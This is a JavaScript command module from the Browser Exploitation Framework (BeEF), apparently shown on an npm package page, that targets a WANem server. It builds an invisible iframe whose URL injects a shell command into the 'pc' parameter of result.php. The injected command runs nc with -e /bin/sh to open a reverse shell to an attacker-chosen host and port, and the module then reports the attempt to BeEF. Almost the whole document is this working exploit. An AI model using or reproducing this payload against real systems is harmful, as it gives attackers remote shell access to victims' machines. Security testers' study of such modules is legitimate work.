beef-npm
Version:
Node.js package to install and interact with BeEF (Browser Exploitation Framework)
25 lines (18 loc) • 816 B
JavaScript
//
// Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var lhost = '<%= @lhost %>';
var lport = '<%= @lport %>';
var wanem_iframe_<%= %> = beef.dom.createInvisibleIframe();
wanem_iframe_<%= %>.setAttribute('src', 'http://'+rhost+':'+rport+'/WANem/result.php?pc=127.0.0.1;/UNIONFS/home/perc/dosu%20{nc,'+lhost+','+lport+',-e,/bin/sh}%26');
beef.net.send("<%= @command_url %>", <%= %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(wanem_iframe_<%= %>);
}
setTimeout("cleanup()", 15000);
});